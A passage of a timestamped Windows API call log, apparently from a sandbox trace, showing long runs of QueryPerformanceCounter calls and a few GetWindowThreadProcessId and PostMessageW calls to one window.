lpPerformanceCount=0x533f928*=24124494415) returned 1 [0237.942] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24124503529) returned 1 [0237.958] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24126055019) returned 1 [0237.958] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24126068241) returned 1 [0237.973] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24127610471) returned 1 [0237.974] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24127623891) returned 1 [0237.989] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24129180722) returned 1 [0237.989] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24129194123) returned 1 [0238.021] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24132320158) returned 1 [0238.021] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24132333512) returned 1 [0238.036] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24133857260) returned 1 [0238.036] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24133866725) returned 1 [0238.067] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24136991441) returned 1 [0238.067] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24137005020) returned 1 [0238.083] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24138553295) returned 1 [0238.083] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24138566005) returned 1 [0238.098] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24140114748) returned 1 [0238.099] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24140129135) returned 1 [0238.130] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24143231149) returned 1 [0238.130] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24143239959) returned 1 [0238.145] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24144812918) returned 1 [0238.146] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24144826142) returned 1 [0238.177] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24147926134) returned 1 [0238.177] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24147938762) returned 1 [0238.192] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24149500229) returned 1 [0238.192] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24149515328) returned 1 [0238.208] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24151059349) returned 1 [0238.208] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24151072186) returned 1 [0238.239] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24154188582) returned 1 [0238.239] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24154201211) returned 1 [0238.270] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24157305362) returned 1 [0238.271] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24157318518) returned 1 [0238.286] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24158855771) returned 1 [0238.286] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24158868566) returned 1 [0238.302] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24160444253) returned 1 [0238.302] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24160459689) returned 1 [0238.333] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24163554476) returned 1 [0238.333] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24163567617) returned 1 [0238.364] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24166680338) returned 1 [0238.364] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24166693626) returned 1 [0238.380] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24168235982) returned 1 [0238.380] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24168250607) returned 1 [0238.415] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24171807242) returned 1 [0238.416] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24171820134) returned 1 [0238.442] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24174487943) returned 1 [0238.442] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24174500938) returned 1 [0238.458] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24176049114) returned 1 [0238.458] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24176060901) returned 1 [0238.474] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24177619744) returned 1 [0238.474] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24177630124) returned 1 [0238.505] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24180757716) returned 1 [0238.505] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24180771422) returned 1 [0238.536] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24183858825) returned 1 [0238.536] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24183871839) returned 1 [0238.552] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24185441739) returned 1 [0238.552] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24185457104) returned 1 [0238.598] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24190105254) returned 1 [0238.599] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24190118169) returned 1 [0238.599] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24190138396) returned 1 [0238.599] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24190145562) returned 1 [0238.630] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24193233829) returned 1 [0238.630] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24193247457) returned 1 [0238.646] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24194829849) returned 1 [0238.646] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24194844476) returned 1 [0238.677] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24197921836) returned 1 [0238.677] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24197934969) returned 1 [0238.708] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24201051275) returned 1 [0238.708] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24201064085) returned 1 [0238.723] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24202606836) returned 1 [0238.724] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24202619626) returned 1 [0238.739] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24204185745) returned 1 [0238.739] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24204199989) returned 1 [0238.755] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24205734836) returned 1 [0238.755] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24205749252) returned 1 [0238.786] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24208856107) returned 1 [0238.786] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24208868813) returned 1 [0238.817] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24211983829) returned 1 [0238.817] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24211993538) returned 1 [0238.848] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24215108629) returned 1 [0238.849] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24215121211) returned 1 [0238.864] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24216677568) returned 1 [0238.864] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24216689403) returned 1 [0238.896] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24219818480) returned 1 [0238.896] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24219831058) returned 1 [0238.927] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24222925383) returned 1 [0238.927] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24222936555) returned 1 [0238.942] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24224484569) returned 1 [0238.942] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24224497197) returned 1 [0238.973] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24227603571) returned 1 [0238.973] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24227614586) returned 1 [0238.989] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24229179692) returned 1 [0238.989] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24229192539) returned 1 [0239.021] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24232320579) returned 1 [0239.021] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24232333888) returned 1 [0239.052] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24235442126) returned 1 [0239.052] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24235455097) returned 1 [0239.067] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24236996229) returned 1 [0239.067] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24237009483) returned 1 [0239.099] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24240118330) returned 1 [0239.099] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24240129547) returned 1 [0239.115] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24241718355) returned 1 [0239.115] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24241733417) returned 1 [0239.145] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24244812914) returned 1 [0239.146] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24244828126) returned 1 [0239.174] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24247627608) returned 1 [0239.174] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24247642739) returned 1 [0239.192] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24249493591) returned 1 [0239.192] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24249508713) returned 1 [0239.224] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24252640932) returned 1 [0239.224] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24252655772) returned 1 [0239.255] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24255743411) returned 1 [0239.255] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24255756707) returned 1 [0239.286] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24258869578) returned 1 [0239.286] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24258884659) returned 1 [0239.317] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24261993329) returned 1 [0239.317] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24262009031) returned 1 [0239.335] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24263795302) returned 1 [0239.335] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24263814334) returned 1 [0239.392] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24269455759) returned 1 [0239.392] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24269472156) returned 1 [0239.444] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24274706804) returned 1 [0239.445] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24274721389) returned 1 [0239.445] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24274756475) returned 1 [0239.445] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24274767028) returned 1 [0239.474] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24277622561) returned 1 [0239.474] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24277638265) returned 1 [0239.505] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24280744000) returned 1 [0239.505] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24280759802) returned 1 [0239.521] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24282321393) returned 1 [0239.521] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24282336615) returned 1 [0239.536] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24283881823) returned 1 [0239.536] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24283891721) returned 1 [0239.567] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24287010257) returned 1 [0239.568] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24287026676) returned 1 [0239.586] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24288819390) returned 1 [0239.586] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24288834203) returned 1 [0239.614] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24291693760) returned 1 [0239.614] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24291708404) returned 1 [0239.630] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24293246774) returned 1 [0239.630] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24293264589) returned 1 [0239.661] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24296417188) returned 1 [0239.662] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24296433326) returned 1 [0239.692] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24299485310) returned 1 [0239.692] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24299498303) returned 1 [0239.723] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24302606364) returned 1 [0239.724] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24302617785) returned 1 [0239.739] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24304187548) returned 1 [0239.739] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24304201669) returned 1 [0239.755] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24305740877) returned 1 [0239.755] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24305755113) returned 1 [0239.771] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24307333960) returned 1 [0239.771] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24307346737) returned 1 [0239.840] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24314246270) returned 1 [0239.840] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24314261338) returned 1 [0239.840] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24314287514) returned 1 [0239.840] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24314296427) returned 1 [0239.869] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24317117428) returned 1 [0239.869] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24317131042) returned 1 [0239.900] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24320287997) returned 1 [0239.900] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24320301466) returned 1 [0239.915] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24321801302) returned 1 [0239.915] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24321815393) returned 1 [0239.931] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24323362253) returned 1 [0239.931] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24323375416) returned 1 [0239.946] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24324916181) returned 1 [0239.947] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24324929457) returned 1 [0239.962] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24326490241) returned 1 [0239.962] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24326504749) returned 1 [0239.994] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24329639379) returned 1 [0239.994] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24329654317) returned 1 [0240.014] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24331684762) returned 1 [0240.014] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24331700202) returned 1 [0240.041] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24334345366) returned 1 [0240.041] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24334360519) returned 1 [0240.056] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24335861805) returned 1 [0240.056] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24335875544) returned 1 [0240.087] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24338985793) returned 1 [0240.087] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24339000688) returned 1 [0240.118] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24342112588) returned 1 [0240.119] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24342126839) returned 1 [0240.150] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24345230638) returned 1 [0240.150] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24345244621) returned 1 [0240.165] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24346804059) returned 1 [0240.166] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24346818558) returned 1 [0240.197] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24349924540) returned 1 [0240.197] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24349934948) returned 1 [0240.212] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24351492311) returned 1 [0240.212] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24351502166) returned 1 [0241.035] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24433761438) returned 1 [0241.035] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24433774791) returned 1 [0241.035] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24433802759) returned 1 [0241.035] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24433810016) returned 1 [0241.056] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24435887666) returned 1 [0241.056] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24435900601) returned 1 [0241.243] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24454570531) returned 1 [0241.243] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24454583771) returned 1 [0241.259] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24456167710) returned 1 [0241.259] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24456180485) returned 1 [0241.290] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24459292482) returned 1 [0241.290] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24459300383) returned 1 [0241.321] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24462412577) returned 1 [0241.322] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24462425791) returned 1 [0241.337] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24463984414) returned 1 [0241.337] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24463997827) returned 1 [0241.409] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24471129657) returned 1 [0241.409] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24471143015) returned 1 [0241.409] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24471165271) returned 1 [0241.409] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24471172929) returned 1 [0241.431] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24473349405) returned 1 [0241.431] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24473361086) returned 1 [0241.462] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24476486307) returned 1 [0241.462] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24476498193) returned 1 [0241.478] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24478042840) returned 1 [0241.478] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24478050956) returned 1 [0241.493] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24479595108) returned 1 [0241.493] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.493] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xe974a2f, lParam=0x3d09) returned 1 [0241.494] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24479625144) returned 1 [0241.509] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24481167913) returned 1 [0241.509] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.509] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xe97879f, lParam=0x3d09) returned 1 [0241.509] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24481199751) returned 1 [0241.525] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24482723892) returned 1 [0241.525] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.525] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xe97c466, lParam=0x3d09) returned 1 [0241.525] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24482755985) returned 1 [0241.556] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24485852205) returned 1 [0241.556] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.556] 